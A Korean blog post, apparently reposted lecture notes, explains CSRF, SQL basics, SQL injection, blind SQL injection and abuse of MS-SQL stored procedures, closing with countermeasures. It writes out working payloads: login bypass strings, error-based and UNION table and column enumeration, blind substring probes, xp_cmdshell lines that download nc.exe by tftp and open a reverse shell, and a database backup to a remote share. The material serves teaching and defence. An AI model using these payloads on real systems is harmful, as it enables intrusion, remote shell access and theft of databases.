- Victim에 의해 Request가 발생하기 때문에 공격자의 IP 추적이 어렵다.
- XSS와 달리 자바스크립트를 사용할 수 없는 상황에서도 공격이 가능하다.
공격 조건
- 공격자는 사이트에서 제공하는 해당 기능의 Request/Response를 분석해야 한다.
- 사이트가 Session Token만으로 해당 기능의 권한을 인증하고 있을 때 가능하다.
CSRF(Cross Site Request Forgery)
- a.k.a XSRF
- pronounce C-Surf
- One-click Attack / Zero-click Attack
- 사이트에서 제공하는 기능을 신뢰된 사용자의 권한으로 요청하도록 하는 공격
┌ 공격자의 악성코드를 읽은 Victim은 자신도 모르게 Request를 서버로 보내게 되고 서버는 Victim의 권한으로 Request에 대한 처리를 하게 된다.
└ 즉 Session Hijacking과 유사한 권한 도용 공격이다.
공격의 범위
- 서버에서 지원하는 모든 기능이 공격범위가 될 수 있다.
└ DB를 모두 삭제하는 기능을 관리자에게 지원하면 공격자는 이 공격을 이용해서 DB삭제도 가능하다.
CSRF 공격의 예
- 댓글 자동 달기
- 자동 친구 등록
- 자동 회원 정보 변경
- 도토리 자동 기부
- 이 외에도 웹 애플리케이션이 지원하는 기능을 사용할 수 있다.
CSRF Attack Flow
XSS와 CSRF의 차이점
- CSRF를 이용하여 게시판에 CSRF 스크립트를 올려 글 읽는 사람의 개인정보를 자동으로 변경할 수도 있다.
CSRF 악성코드
- 악성 스크립트가 Posting되어 있는 글을 읽으면 읽는 사람의 권한으로 회원정보를 변경하는 페이지가 호출되게 된다.
POST 방식의 CSRF
- Post 방식을 사용하는 경우에는 Form을 이용하여 공격이 가능하다.
Form의 Reference를 얻어오는 방법
- document.Forms[]
- document.getElementById()
- document.getElementByName()
대응책
- XSS 취약점이 없도록 확인한다.
- 웹 클라이언트로부터 전달된 Session Token의 진위성을 확인한다.
- 단순히 Session Token만을 이용한 권한 부여를 금지한다.
└ 사이트에서 제공하는 중요한 기능은 email이나 전화, SMS등을 이용하여 재 인증을 요구하게 한다.
- GET 방식보다 POST 방식 사용을 권장하나 POST 방식으로 사용하더라도 보안성이 크게 향상되지는 않는다.
└ POST 방식도 CSRF가 가능
사용자 대응책
- 사이트 이용 후 반드시 로그아웃 한다.
- 아무거나 들어가지 않는다.
SQL Basic
SQL (Structured Query Language)
- DDL과 DML을 포함하는 Database 관리용 언어
┌ DDL : 데이터 정의어
├ DML : 데이터 조작어
└ DCL : 데이터 제어어
SELECT 문
- 형식
- 의미
┌ <테이블>에서 <조건>에 맞는 레코드를 검색한 후 <필드>에 해당하는 값들만 출력하라
└ Ex) SELECT * FROM member WHERE name='박소현'
집계함수 (Aggregate function)
- 형식
└ SELECT 집단함수(<필드명>)
FROM <테이블명>
- 집단함수
┌ COUNT : 반환레코드의 개수
├ SUM : 값의 합계
├ AVG : 값의 평균
├ MAX : 값의 최대값
└ MIN : 값의 최소값
- Ex) SELECT COUNT(*) FROM member
GROUP BY / HAVING
- 형식
- 의미
└ 출력된 레코드를 그룹으로 묶고 각 그룹에 대한 요약 값을 계산
UNION
- 형식
└ 합쳐질 레코드의 개수와 타입이 맞아야 한다.
- 의미
└ 두 테이블의 검색결과를 합쳐서 반환한다.
JOIN
- CROSS JOIN
- INNET JOIN
- OUTER JOIN
┌ LEFT OUTER JOIN
└ RIGHT OUTER JOIN
INSERT
- 형식
- 의미
└ 테이블에 레코드를 추가한다.
UPDATE
- 형식
- 의미
└ <조건>에 맞는 레코드의 <필드>값을 <변경될 값>으로 변경한다.
DELETE
- 형식
- 의미
└ <테이블명>에서 <조건>에 맞는 레코드를 삭제한다.
SQL Injection
SQL Injection이란?
- 사용자가 서버에 제출한 데이터가 SQL Query로 사용되어 Database나 시스템에 영향을 주는 공격기법
Main Cause
- 사용자로부터 입력 받은 데이터를 이용하여 동적으로 Query구문을 완성하도록 되어있는 페이지에서 사용자로부터 입력된 데이터가 적절한 검증 없이 DB Query문의 일부로 포함되는 경우에 발생할 수 있다.
Impact
- 웹 어플리케이션 인증 우회
- Database 덤프, 조작, 파괴
- 시스템 커맨드의 실행 (주로 MS-SQL에서 발생)
- 시스템 주요 파일 노출
웹 어플리케이션의 일반적인 인증절차
1. ID / Password 입력
2. SQL Query 생성
3. Database에 Query 전송
4. Database에서 Query 실행
5. 반환되는 Return 값에 따라 인증 여부판단
SQL Injection 가능성 확인하기
- SQL 구문에 영향을 줄 수 있는 문자들을 다양한 방법으로 삽입하여 결과를 확인한다.
┌ '
├ "
├ ;
├ --
├ #
└ /* */
- MS-SQL, MySQL, ORACLE
SQL Injection을 이용한 인증우회
- 일반적인 어플리케이션의 인증방식 (취약한 방식)
└ 사용자로부터 ID/PW를 입력 받은 후 해당 ID와 PW가 일치하는 레코드가 존재하는지 검사 후
┌ 레코드가 존재하는 경우 : 인증 성공
└ 레코드가 존재하지 않는 경우 : 인증 실패
- 인증에 취약한 코드 예
- 인증에 사용되는 SQL Query
└ SELECT * FROM user_table WHERE id='사용자 입력값' and pw='사용자 입력값'
└ 입력된 id와 pw가 만족하는 레코드 셋을 가져오게 된다.
- SQL Injection을 이용한 인증우회 핵심
┌ WHERE절 이하의 조건이 항상 참이 되도록 한다.
├ Query 구문이 에러가 나지 않도록 해야 한다.
└ ※ SQL Injection에 사용할 입력값은 Query문에 따라 달라질 수 있다.
웹 페이지 로그인
- ID : 'OR'1'='1
- PW : 'OR'1'='1
조작된 SQL Query문
Ex)
SELECT * FROM member WHERE user_id="OR'1'='1' AND user_pw="OR'1'='1'
결과
- member의 모든 행이 반환된다.
- 이 경우 반환되는 레코드 셋은 테이블의 전체 레코드가 반환되며 레코드셋의 현재 포인터가 일반적으로 최초로 입력된 첫 번째 레코드에 있게 됨으로 첫 번째 사용자의 권한을 갖게된다.
- 관리자의 계정은 테이블의 처음이나 끝에 두어서는 안되고 별도의 관리자 테이블을 구성하도록 해야한다.
특정 ID의 권한으로 로그인 하기
- 사용자 ID를 획득한 경우 비밀번호 없이 입력한 사용자의 권한으로 인증을 우회할 수 있다.
- 게시판에서 관리자의 ID를 확인했더니 admin 이었다면 아래와 같은 코드를 이용하여 admin의 계정으로 로그인이 가능하다.
- 입력
┌ ID : admin'--
└ PW : Anything
- 조작된 SQL Query문
└ where user_id='admin'-- and passwd='Anything'
- 결과
└ admin 계정의 권한으로 로그인
변환 에러를 이용한 데이터 알아내기
- 문자열과 숫자데이터의 비교연산은 형 변환 에러를 유발하며 문자열데이터를 에러메시지에 포함하게 된다.
- '와 같은 문자를 입력하여 에러유발시 Column명이 도출될 수 있다.
└ 인터넷 옵션에 고급에서 HTTP 오류 메시지 표시를 해제한다.
Ex) 로그인 창 ID부분에
nuno' and user_pw=1--
를 입력한다.
└ 아이디에 대한 비밀번호를 얻을 수 있다.
UNION을 이용한 데이터 알아내기
- UNION을 이용하여 mismatch를 발생시켜 Select 구문에 Field의 갯수를 알아낼 수 있고 문자열데이터의 경우 그 데이터를 알아 낼 수 있다.
- 정상적인 UNION 구문은 레코드셋의 필드의 갯수와 타입이 맞아야 한다.
- 이때 데이터 타입에 오류가 발생하면 오류가 발생한 값을 에러메시지에 포함시키게 된다.
└ Ex) ID : nuno' UNION select 'a',1--
- 어떤 필드에서 에러가 발생했는지 알 수 없음으로 제일 앞의 필드부터 하나씩 문자로 바꿔가며 테스트해본다.
단점
- 문자열 형태의 값만 알아낼 수 있다.
- 숫자형 데이터의 경우 묵시적 형 변환 시 에러가 발생되지 않음으로 에러를 통한 방법으로는 알아낼 수 없다.
Database Schema 파악하기
DB Schema 파악
- SQL Injection을 이용하여 단순히 인증우회만이 가능한 것은 아니다.
- DB Schema를 파악한 후 DB의 모든 레코드를 알아낼 수 있다.
Client Side Validation 우회
- DB Schema를 파악하는 Query 구문은 일반적으로 입력문자열의 길이가 비교적 길기 때문에 입력값 사이즈 제한을 하는 경우에는 이를 우회해야 한다.
Database명 알아내기 : db_name()을 이용
- Database의 이름을 문자열로 반환하는 MS-SQL 함수이다. 문자열을 숫자와 비교하는 구문이 됨으로 형 변환 중 오류가 발생하게 되며 에러 메시지를 화면에 표시 하는 경우에 변환에 실패한 값인 Database 이름을 에러 메시지에 포함하게 된다.
Table명 알아내기
- 방법
└ 에러를 유발시켜 에러메시지에 Table 이름이 포함되게 한다.
- Table명을 포함한 시스템 테이블
┌ sysobjects
├ information_schema.tables
└ information_schema.columns
- 모든 테이블의 이름을 알아내기 위한 방법
┌ 알아낸 Table 이름을 하나씩 제거하면서 알아낸다.
├ 알아낸 Table 이름과 비교연산을 통해 하나씩 차례대로 알아낸다.
└ Top 구문을 이용하여 검색결과를 하나씩 늘리면서 정렬/역정렬을 통해 알아낸다.
└ xtype : 개체의 유형을 나타낸다.
┌ U : 사용자 테이블
├ P : 저장프로시저
├ S : 시스템 테이블
├ V : 뷰
└ X : 확장프로시저
Web Page에서 Table명 알아내기
Ex)
' or (select top 1 name from webhack.dbo.sysobjects where xtype='U') > 1 --
└ webhack이라는 DB안에 있는 Table 중 xtype이 사용자 테이블인 것 중 가장 위에 있는 table 1개를 보여준다.
' or (select top 1 name from webhack.dbo.sysobjects where xtype='U' and name!='zipcode') > 1 --
└ webhack이라는 DB안에 있는 Table 중 xtype이 사용자 테이블인 것 중 zipcode를 제외한 가장 위에 있는 table 1개를 보여준다.
' or (select top 1 name from webhack.dbo.sysobjects where xtype='U' order by name) > 1 --
└ webhack이라는 DB안에 있는 Table 중 xtype이 사용자 테이블인 것 중 오름차순으로 가장 위에 있는 table 1개를 보여준다.
Table명 알아내는 방법
위와 같이 임의의 테이블을 알아보기 위해서 숫자를 대입한다.
' or (select top 1 name from (select top 2 name from webhack.dbo.sysobjects where xtype='U' order by name) as rename order by name desc)=1 --
' or (select top 1 name from (select top 3 name from webhack.dbo.sysobjects where xtype='U' order by name) as rename order by name desc)=1 --
각각 다른 결과값이 출력된다.
Column명 알아내기
- 방법
┌ syscolumns를 이용
├ Information_schema.columns 이용
└ GROUP BY 구문을 이용
조작된 SQL Query문
Ex)
select * from member where user_id='nuno' and (select top 1 name from syscolumns where id = 1 and name>'0')=1
- syscolumns의 레코드는 id 값에 따라 table이 구분된다. 그럼으로 각 Table의 id 값을 미리 파악해야 한다.
Object_id()
- 데이터베이스 개체 ID를 반환
- Object_id("object)
Object_name()
- 데이터베이스 개체 이름을 반환
- Object_name(object_id)
Column명 알아내기 : information_schema.columns를 이용
- Information_schema.columns를 이용할 경우에는 table_name과 column_name이 테이블에 포함되어 있음으로 table_name을 알아낼 수도 있다.
Column명 알아내기 : Group By를 이용한 방법
- 알려진 Column명 하나를 Group by 절에 포함시키면 포함되지 않은 Field 명들을 에러로 보여준다.
- 단 현재 Table에 관련된 Column 명만 확인이 가능하다.
Data 알아내기
- Table과 Column 이름을 파악했음으로 각각의 데이터도 알아낼 수 있다.
└ 단, 에러유발을 이용한 방법으로는 문자열 데이터만 확인이 가능하다.
Blind SQL Injection
Blind SQL Injection이란?
- 웹 서버에서 SQL Injection을 대응하기 위해서 내부 Database 오류를 보여주지 않도록 설정해 놓은 경우 참과 거짓을 구분할 수 있는 구문을 만들어 데이터를 알아내는 방법이다.
Impact
- 형 변환 에러를 이용한 방법으로는 숫자형태의 데이터를 알아낼 수 없으나 Blind Injection을 이용하면 숫자형태의 데이터까지도 알아낼 수 있다.
Blind SQL Injection은 보통 Query 문이 상당히 길기 때문에 입력 값 사이즈 제한을 하는 경우에는 소스를 수정하거나, Proxy tool을 이용하여 우회하도록 한다.
전제조건
- SQL Query의 참과 거짓의 판단이 가능해야 한다.
Ex) SQL Injection 취약점을 가진 Login 페이지
- 참과 거짓을 구분할 수 있는 SQL 구문을 입력
└ 위의 구문 수행 후 정상적으로 로그인 되어야 한다.
└ 위의 구문 수행 후 로그인에 실패해야 한다.
- 정상적인 ID가 없는 경우에는 ' or 1=1나 ' or 1=2도 가능하다.
Blind Injection Database 이름 알아내기
- 입력
└ ID : nuno' and substring(db_name(),1,1)='w'--
- 아래와 같이 다른 형태로도 표현이 가능하다.
┌ ID : nuno' and substring(db_name(),1,1) = (0x77)--
├ ID : nuno' and substring(db_name(),1,1) = char(119)--
└ ID : nuno' and substring(db_name(),1,1) = char(0x77)--
결과
- db_name()의 반환값의 첫 번째 문자열이 'w'인 경우
└ 정상적으로 로그인 된다.
- db_name()의 반환값의 첫 번째 문자열이 'w'이 아닌경우
└ 로그인 실패
설명
- substring()함수는 문자열에서 특정부분을 반환할 수 있는 함수로서 위의 코드에서는 db_name 결과값을 첫 번째 문자열이 0x77('w')인 경우에 nuno라는 계정으로 로그인 되게 된다.
└ 로그인에 실패한 경우에는 뒤에서 비교한 0x77이 아니라는 것을 알 수 있다.
문자열의 끝 확인하기
- 문자열의 끝까지 비교가 끝나면 substring은 아무런 값도 반환하지 않음으로 0과 비교할 경우에 참이 된다.
- 문자열의 끝이 아닌 경우 0과 비교하면 형 변환 오류가 발생하게 된다.
Attack 횟수 줄이기
- Attack 횟수를 줄이기 위해서는 알파벳 첫 글자부터 선서대로 비교하는 것 보다는 이분법을 이용한 방법을 이용하는 것이 훨씬 속도가 빠르다.
Stored Procedure를 이용한 공격
Stroed Procedure
- DBMS에서 지원하는 저장된 프로시저이다.
- 동적인 SQL 구문보다 성능이 좋다.
- 특정한 기능을 미리 구현해 놓고 여러 번 반복 호출하여 사용할 수 있다.
- 미리 저장된 기능을 이용함으로 코드의 변경부분이 최소화 된다.
- 같은 프로시저라 하더라도 Parameter에 따라 여러가지 기능을 수행할 수 있다.
- 입력된 파라미터를 문자열로 처리됨으로 사용자가 입력된 데이터가 SQL 쿼리 구문으로 해석될 우려가 없다.
Stroed Procedure의 악용
- MS-SQL의 경우 편의성과 성능을 위해 제공하는 Procedure들이 오히려 시스템의 보안에 영향을 줄 수 있다.
- Oracle의 경우 이런 기능을 기본적으로 제공하지는 않지만 Java나 PL/SQL 등을 이용하여 구현할 수도 있다.
악용의 예
- 공격자는 이런 보안상 취약한 프로시저를 이용하여 쉘을 수행시키거나, Query의 결과를 HTML로 제공, 레지스트리 조작, 서비스 시작/중지, 시스템 정보 획득 등에 이용할 수 있다.
Stored Procedure List
xp_cmdshell
- 시스템 명령어를 실행
xp_servicecontrol
- 윈도우 서비스를 제어
sp_makewebtask
- Query의 결과를 웹 페이지로 생성
sp_addextendedproc
- Drop된 Stored Procedure를 등록
레지스트리 관련
- xp_regread
- xp_regwrite
- xp_regaddmultistring
- xp_regremovemultistring
- xp_regdeletekey
- xp_regdeletevalue
- xp_regenumvalues
xp_cmdshell
- 공격자는 ICMP 패킷이 수신되는지 확인
쉘 획득하기
- tftp 서버를 이용하여 nc.exe를 웹 서버로 업로드 시키고 Reverse Connection을 통해 쉘 획득
┌ 공격자는 tftp나 ftp 서비스를 하고 공격툴을 준비한다.
├ xp_cmdshell를 이용하여 공격자의 서버로부터 nc.exe를 업로드 시킨다.
└ nc <ip> <port> -e cmd.exe를 실행하여 공격자는 쉘 획득
- ftp를 이용하여 공격툴을 업로드 한다.
EX)
tftp 실행 후
ID : '; exec master.dbo.xp_cmdshell 'tftp -i www.webhack.com GET nc.exe' --
client에서 cmd -> nc -lvp 1234
ID : '; exec master.dbo.xp_cmdshell 'nc [client ip] 1234 -e cmd.exe' --
Stored Procedure를 이용하여 Registry를 수정하고 Telnet 서비스를 실행한다.
- 레지스트리 수정하기
- telnet 서비스 시작
┌ 방법1
┌ xp_cmdshell을 이용
└ sc 혹은 net 명령어를 수행
└ 방법2
┌ xp_servicecontrol 이용
└ EXEC master..xp_servicecontrol 'start', 'TlntSvr'
sp_makewebtask
- SQL의 결과를 HTML 페이지로 생성한다.
- 생성된 페이지
- stored procedure 실행 결과를 HTML 페이지로 생성하기
Stored Procedure 재활성화
- 관리자가 Stored Procedure를 사용하지 못하도록 Drop한 경우 재활성화 하기
- [관리자]
┌ xp_cmdshell 프로시저를 삭제한다.
├ EXEC master..sp_dropextendedproc 'xp_cmdshell';
├ xp_cmdshell 사용가능여부 확인
└ EXEC master..xp_cmdshell 'dir'
- [공격자]
┌ xp_cmdshell이 사용가능한지 여부를 확인해야 한다.
├ ICMP reply가 수신되는지 확인한다.
└ 수신되지 않을 경우 xp_cmdshell을 재 등록한다.
DB 덤프
- 데이터 베이스 덤프 하기
- [공격자]
┌ 쓰기 속성이 포함된 공유 폴더를 준비한다.
├ SQL Injection을 이용한 DB Backup을 시도한다.
├ ID : nuno'; backup database webhack to disk='\\10.10.30.100\share\webhack.dat
└ 위 명령이 정상적으로 실행되면 10.10.30.100번 공유폴더에 webhack Database가 webhack.dat라는 이름으로 백업된다.
SQL Injection 대응책
- 사용자로부터 입력되는 값을 반드시 서버에 체크한다.
┌ Client Side Script를 이용해서도 입력 값 제한이 가능하나 이는 공격자가 충분히 우회가 가능함으로 반드시 해당 내용을 서버에서 체크한다.
└ SQL Injection에 사용되는 문자를 필터링 한다.
┌ ', ", ;, --, # 등등
└ select, insert, delete, update, drop, union, group by, having 등
- Database 계정의 권한을 낮춘다.
- Error 메세지를 제한한다.
- 중요한 Query는 Stored Procedure로 작성하여 사용한다.
- Web 방화벽 사용한다.
[출처] http://kimdongwook.tistory.com/m/post/33
'프로그래밍 > 기타' 카테고리의 다른 글
엑셀 구분자로 셀 나누기 (0) | 2017.09.12 |
---|---|
[회사업무 개꿀팁] 엑셀을 활용한 SQL 자동 생성 (0) | 2017.07.16 |
제우스(JEUS) jboot, jdown 만들기 (0) | 2013.11.13 |
톰캣(Tomcat) 한글 깨짐현상 처리 (0) | 2013.11.13 |
이클립스(eclipse) SVN계정 변경 (0) | 2013.11.13 |
댓글